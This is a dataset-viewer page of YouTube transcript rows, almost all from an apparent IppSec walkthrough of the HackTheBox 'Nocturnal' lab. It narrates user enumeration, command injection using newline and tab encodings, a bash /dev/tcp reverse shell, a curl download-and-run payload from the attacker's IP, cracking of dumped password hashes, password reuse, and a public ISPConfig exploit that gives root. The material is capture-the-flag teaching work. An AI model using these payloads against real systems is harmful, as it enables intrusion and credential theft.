text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
exe program data let's go C colon this will just speed up um the process see runs backup dasr let's see user one where is it user one password oh cmd.exe so we send cmd.exe to us wants us to use let's just see we're denied it was telling us um what is it use bypass UAC and log on type is equal to 8 try this wsa connect... | 4,976.239 | 0 | {
"video_id": "ESXW8jsGkdM",
"title": "HackTheBox - Napper",
"url": "https://www.youtube.com/watch?v=ESXW8jsGkdM"
} |
What's going on YouTube? This is IPSC. I'm doing Nocturnal from Hack the Box, which starts out with seeing a web page that lets you register and upload files. If you look at the get parameters, you'll see username is one of them. And by fuzzing this variable, you'll be able to enumerate and download another user's file... | 0.16 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
only trick here is spraying the login to find out the admin user has the same password as another user from the first website. So with all that being said, let's just jump in. As always, let's start off with the end map. So - sc for default scripts, SV enumerate versions vv for double verbose. This gives us things like... | 41.6 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22, and the banner tells us it's an Abuntu server. We also have HTTP on port 80. Its banner tells us it's engine X also running on Ubuntu and it is redirecting us to nocturnal.htb... | 65.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
My first thing is always looking at the source code to see if I can identify how this page was created. We see login.php register.php. So we know this is a PHP website. And based upon register.php PHP it not being like um pretty paths. I'm guessing this is handcoded PHP, not using a framework like Cake PHP or Laravel. ... | 114.32 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
way to enumerate um valid usernames on this box, right? We could try to register. And if I try to register admin, let's see, fail to register user. So maybe this is a way we can identify valid users. If we just try to register a bunch of accounts, right? Um if we do IPSAC password, it lets us um register and we can log... | 173.519 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And we only have a few file types allowed. PDF, doc, docx, and odt. So, let's go ahead and um create a file real quick. We'll do vshell.pdf, I guess. And then we'll do php um I'm just going to do php info for now. | 206.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And that'll tell us if we ever get code execution. We also have a backups directory. I'm going to take a look at what slashbackups is real quick. So, nocturnal backups. Uh, we just get a forbidden. So, let's go here. We can do HTB. Uh, what is the box name? Nocturnal. And I'm going to do shell.pdf. And I'm actually goi... | 227.599 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
We go here. It actually looks like it uploaded. We have shell.pdf uploaded here. And we have view.php usernames ipsseack um file is shell.pdf. So let's go ahead and go back to a browser. I'm just going to um turn intercept off. It'll probably error saying the files up. We got two files actually. I thought it was going ... | 267.52 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
have SQL injection somewhere here um we could potentially do a union injection and rewrite the path on the server and potentially include files um elsewhere like maybe Etsy pass WDD or a configuration file we just have a file disclosure vulnerability. So, um, that's what I'm going to test for here. We put a single quot... | 325.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
SQL injection, um, still user not found. Change the single quote to a double quote. Uh, just put this. So it doesn't look like this is vulnerable to SQL injection at all. Um, I just realized I didn't have anything after the space. So I just wanted to confirm. Yeah. So this isn't vulnerable to any type of SQL injection.... | 382.96 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
I guess we can cause the error message and upload to get a list of extensions So, we'll change this to be shell.php. | 449.28 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
There we go. PDF docx um Excel and open office. So, I'm going to try and do star.od and see if we get anything. It's just listing shell.pdf. | 458.4 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, nothing too interesting there. But I wonder if we have a different user. If we go to admin, let's see. File doesn't exist. And it tells us files available for download. So, let's try each of these extensions. We're going to do PDF. | 475.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And let's see. Let's just autoscroll here. There we go. Is this still set? It is. | 494.8 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, we have What are the other extensions we can We did PDF um docx. Let's just try all these real quick. Doc x. So 332 332. So I'm just looking at the bytes at the bottom right so I don't have to keep scrolling. XLS. | 502.96 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So the Excel file 330 330. And the last one's going to be ODT. So, we can't list any files here, but we have a way to enumerate valid users here potentially, right? If we do a username that doesn't exist, let's see what happens. User not found. So, let's go ahead and send this to um fuff. So, let's go here and let's se... | 528.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
I'll do this um view request. Save that. | 566.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And then we can do fuff word list optlist discovery. Is it like a usernames? Let's see. What do we have? Web content. | 573.2 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Uh, let's just go up list find dot dash I username. | 589.36 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Okay, let's do usernames and this should be fine I guess. So fuff word list opse list that and then request uh let's see where am I? I'm in opse directory. Uh let's go back. | 595.36 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And this was view request. That should be fine. | 621.68 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Um let's see. Dash request like this. And then we need dash request proto http. | 627.839 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And okay, I'm going to uh let's do filter line. Uh let's do filter size 2985 and see if we get any hits here. So admin and Amanda. So I'm going to go back here and we are going to change the username to Amanda. | 641.839 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And let's see. We have a new file, privacy.ODT. So, let's go ahead and see if we can read this file. Going to it. It looks like we can. So, let's go ahead and I'm going to copy this as a curl command. And there's another user Tobias, but let's just curl this. And I'll do O privacy. Ood. | 668.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And let's see. Let's see if we have open office installed on our box. Uh maybe we don't. Let's do open dot. Um privacy od doesn't look like I have open off installed. Um pseudo apt install open office. Uh search. | 693.839 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Let's see. It's libri office. | 721.2 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
install. Okay, I'm going to pause the video while this installs and then we'll open up this document. Okay, now that Liberty Office is installed, we can go ahead and open privacy.od. So, clicking it, it tells me it's corrupt. Uh, sure, try to repair. Uh, can't be repaired. Um, oh, we have the HTTP headers in this. So, ... | 728.079 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Save that. And let's see if we can open it now. Looks like we can. And we see Nocturnal has set the following temporary password for you. It has this password. And I'm guessing this is to Amanda's account. Yep, Amanda there. So, let's go ahead and copy this. We will log out of the application. Uh my burp suite is set t... | 758.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
right? So we have something there. Um, are these directories or they're all 403? There's a lot of uploads directories. I'm guessing anything that begins with uploads just gets a 403 error. So that's probably that. But let's go take a look at the source code. | 822.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So first off, it starts with um if the session is if there is a valid session. | 841.04 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
If a username is um admin or Amanda. So if it's not in valid session and a username isn't admin or Amanda, we just um redirect to login.php and exit. We have sanitize file path that just gets the base name. So this is proventing any like um what is it? I'm blanking on the name but uh directory traversal. That's it. So ... | 846.32 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And then scroll down. Let's see. Uh here we go. If set post backup and empty password or password is not empty, then we're going to call clean entry. I think this was the thing sanitizing things. And down here eventually we'll do a process open and run a command. Now if we look at the command, we're doing a zip-x uh sp... | 889.12 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
We can't use the dollar sign. We can't use back ticks. And we also can't do spaces. Um but if we have a process open there's one thing that it did not do and that is line breaks right so if you do a command and you specify like um zip whatever and then we insert a line break then we can potentially do a second command ... | 944 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
can also use tabs. So, tabs are also a space. So, let's go ahead and try this. | 1,008.88 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, first we want to find out what those characters are. And I'm just going to go to a repeater tab. Um, and let's say I'll do a enter. | 1,014.56 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Let's see. Can we highlight this? We'll send convert selection HTML or URL. | 1,026.559 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, a line break is going to be 0 D0. So we can probably just do the 0 D character. If that doesn't work, then I'll try 0 A. The second thing I want to know is what a space is. So let's convert this selection URL encode 09. So I say space here, what a tab is. So I'm going to replace all um line breaks with 0D and then ... | 1,034.24 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Did this error? Not sure if it did or not. | 1,094.96 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Enter password. Create backup. So, we have backup created successfully. I didn't know if it errored or not because backup is blank, but it looks like it worked just fine. So, what I want to do is we said what? 0D and then we do sleep and then I'm going to do 09 which is a tab and this page took two seconds. I'll do a s... | 1,102.32 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And I'm also going to put a single quote here because if we look at the zip command, um, we're doing a double quote and then adding the password in and then double quote. So by adding the double quote, I think I'm escaping it, right? So we do double quote, then a line break, enter a command. Actually, it' be easier if ... | 1,129.6 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, this is the command. What we're going to do is if we just put the line break here, I guess that would work. We did sleep five and then another line break. Um, what I'm worried about here though is this double quote um taking effect and spanning the multi-line. So, it never actually works. | 1,158.4 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, that's why I add the double quote here. So, we terminate this double quote. then a command works and then this line will just error. Right? So that's why I put a line break here and another line break. So we just have a malicious command right here that is clean. So let's try this. I'm going to send the command. An... | 1,181.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So we'll do a pseudo TCP dump- I ton zero ICMP. I'm also going to add the dash N flag so we don't do DNS lookups. Send it. | 1,242 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
We don't have anything. Let's see. I'm going to change this to 0 A on both. | 1,254.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And that looks like it worked. So, I don't think 0 D works, but I think 0 A does work. | 1,268.4 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Send it. There we go. Um, if we did sleep again. Did I change zero A in both spots? Let's just try this. Uh, five there. | 1,275.2 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And let's see. This is definitely longer than two seconds. So I think what I did is 0D I only changed it in the first bot. I didn't change it in both. So that's why sleep didn't work. Um so there we go. We have command execution here. And what we want to do is um put a bash shell. So I'm going to do uh let's do vshell.... | 1,292.64 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Um, let's do b- c- i dev tcp 1010 10148 9,000 1 0 and one like that. And I think this may work. | 1,319.6 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
I'm going to save this and then we can say said search for any space replace it with 09 like that on shell.sh SH and let's see if this works. If this doesn't work, then I'm probably just going to use a curl payload to curl and then download it. Um, let's see. We're between the two 0A. We have that. NC LVNP 90001. | 1,333.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Send it. And we don't have a shell. | 1,365.76 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Let's see. bash c i devtcp. | 1,371.919 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Uh maybe we have to URL encode more like this cuz that amperand I think is breaking it. | 1,379.919 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Yeah, that does not look good. | 1,393.76 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Let me just try one thing and encode the entire thing. So I can do that. ControlU send it. Nothing there. So when I encoded the whole thing, it went near it instantly, which was odd. Um, but I do notice one thing. We have that amperand, and I don't think I ever encoded this amperand. | 1,399.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Um, so let's make sure that's encoded. There we go. And we get a response immediately now, which leads me to believe my command is failing. So I'm going to control Z a bunch of times. | 1,426.799 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
There we go. And I'm going to now encode that. Send it. And this does not work. Maybe I just need to switch and use curl. Being really stubborn because I like having oneliners that I don't like um touch the file system with. So if we decode this b- c- i dev tcp 1010148 90001. | 1,442.64 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
That looks right. I'm not sure where I'm screwing this up. | 1,477.919 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
The fact that it's executing immediately leads me believe something good is happening, but I just can't figure it out right now. Let's see. | 1,492 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
I know I said one more thing. Let's give me one more second. Let's just try this again. Okay, zero A. I was like, I have a bash, but no. | 1,506.159 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Okay, that's all good. | 1,517.44 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Yeah, something's going on there. So, let's do the lazy route. I'm going to do curl. Um, I think I can just hit tab, right? Yeah, let's just do tabs for now on ode devshmell.sh and then we'll do http 10 1048 8000 shell.sh and then what is it 0 a for line break and then we can say bash tab um /devshmell.sh. | 1,525.36 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Let's try this. Um, our fuff is still going off. We can kill that. Make dirt dubdubdub. Go in here. Vshell.sh bin bash bash- i dev tcp 10 1048 900 and one like that. Save it. Okay. Python 3 m http server. So when we send this, there we go. It downloaded the shell and we got code execution. I'm sure if you play around w... | 1,564.08 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
sdty raw minus echo foreground enter enter and then we can export term is equal to xterm which will enable us to clear the screen and what I'm actually going to do um let's control z to back out of this real quick this is where the shell was going to just save this and say um analysis later at the end of the video we'r... | 1,620.88 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Now, what we want to do is um extract the database, right? To get all the credentials whenever I land on a web server. That is my favorite thing to do. So, I'm going to cat um login.php. | 1,654.24 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Um, let's actually just do a head on it. We including a file. Okay, there we go. Nocturnal database. So, let's go cd Nocturnal database. And then, do we have SQL light on the box? We do. I'm just going to dump it. | 1,668.559 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Uh, oh god. Uh, let's say um, sty- A. So, we want rows 26, columns 121. Rows 26, call 121. There we go. | 1,689.2 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, what that did was let my terminal be the right size. Um, I think Did my shell just die? No. Let's just dod dump. There we go. | 1,712.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And let's see. We have a few hashes. So, admin A commander Tobias Kavi E Z. I don't know what that one is. But let's just select all the hashes. So that is in the table users and password. | 1,727.36 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So I'm just going to do select hash from users. Yeah, that'll be fine. | 1,745.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Uh was it password? There we go. Going to grab all the hashes. And then we're just going to send them to Crackstation because this just looks like MD5 sums. | 1,757.6 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So crackstation, I think it's net. I am on intercept. | 1,771.6 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
There we go. And up to 20. Not a robot. Let's see what it makes me do. Nothing. Awesome. So we have a few. We have Kavi Kavi and then slow motion apocalypse. So let's look at what this goes to. | 1,780 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
It looks like the user Tobias. Um, so let's do SU Tobias. Does this work? | 1,798.08 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Did I have that copied right? I did not. | 1,812.799 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Paste. There we go. So we can get in. Um, I realized we never actually checked um if who is it? Amanda has SSH access. So I guess we could also do that. So we can do sh Amanda at 1010 11164 and grab the password out of this. Paste it in. I sent the wrong password. | 1,818.64 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Copy. Okay, the right password's on my clipboard now. | 1,845.52 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
and we don't. So, we have Tobias. The first thing I'm going to do is check pseudo. And let's make sure we get this password. I probably should creating a text file and saving these passwords, but I am lazy. So, Tobias may not run pseudo on Nocturnal. So, this doesn't really get us anything. Um, we look at ports on the ... | 1,851.52 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
um systemd system ISP config. It's executing PHP on that port. So let's see what this service looks like. Uh let's see it is run by root going in this directory. So if I do a ls on the directory, we get permission denied. So we can't look at those files, but we can set up a port forward. So if the first thing on the li... | 1,912.159 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And before I hit enter, I'm just going to show if I go oh let's do 8081 on our local because 8080 is listening by burp suite. So let's do 001 8081. We don't get a page. Send this back. um ports in use cuz I screwed that up. We went dash L. It's listening port and then where you want to connect to. | 1,946.96 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, we're going to listen on port 8081 and then connect to 127001880 through this SSH connection. There we go. So, refresh the page and we get logged in. So, we have two credentials. We have Amanda and Tobias. I'm just going to try Tobias first. And I really should have a better way of copying this password. Thankfully... | 1,969.84 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Paste it. Invalid username and password. We could try other users. Let's see. | 2,009.76 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Password lost. Oh, we need the email, too. I was hoping we could just enumerate valid users. Um, let's see. | 2,015.6 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
ASD. ASD. Log in. What's it say? Username and password wrong. Um, we could try admin. So, I still have Amanda's password on my clipboard. So, try admin with her password. Doesn't work. Um, admin with Tobias's password. Let's see if this works. | 2,022.399 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Log in. And there we go. We get logged into this ISP config page. | 2,042.24 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Um, so the first thing I want to do is see if we can find a way to enumerate versions or just run commands. So clicking on tools. I was hoping maybe it had like a bash prompt. It does not. | 2,048.24 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Sync tools does not. Let's see if we do system. | 2,060.32 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Uh, okay. This kind of looked like a cron tab for a second, but it's not. Um, C panel users, server IP, PHP versions, firewall. | 2,065.839 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Looking for a way to enumerate the version. | 2,079.839 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
ControlU. Do we have version anywhere? It does not look like it. Is there like an about monitor more information? | 2,084.879 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Nothing interesting there. | 2,102 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Bunch of log files needed services offline. Oh, it's right in front of my face. We have this ISP config 3210P1. I kept thinking when I saw this was like you output, but nope. There's the version. So, we can go and Google this exploit and see if we get anything. | 2,109.76 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Let's see. Looks like we have a GitHub page. | 2,136.4 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And if we went back, it also probably told us um the CVE would say how it works. Um let's see. Here is a writeup, I think. | 2,142.48 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Does it tell us description? So, PHP code injection can be achieved in the language file editor by an admin if admin allow language edit is enabled. | 2,155.04 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
So, if we take a look at this Python script, let's see what it does. | 2,168.64 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
We're making sure the URL starts with HTTP. We log in, get the CS surf token, we inject the shell. So, we're going to send a post request to languageedit.php, and the payload is going to um do this. I'm not exactly sure what that's doing. I guess um executing the PHP code potentially, this HTTPC variable. Um not sure e... | 2,174.56 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
And now I'm going to do um Python 3 CVE. | 2,226.96 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
What is it? Uh how do we run this? | 2,234.32 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
the URL and they used 8081 as well. I'm guessing they had Burpuite listening on 8080. Now let's do what is it? Um admin and then the password. Where is the password? Crackstation slow motion apocalypse. Paste this in. We do who am I? We are root. So we can do lsroot catroot root.ext. | 2,239.599 | 0 | {
"video_id": "tjA3sXsnPqw",
"title": "HackTheBox - Nocturnal",
"url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.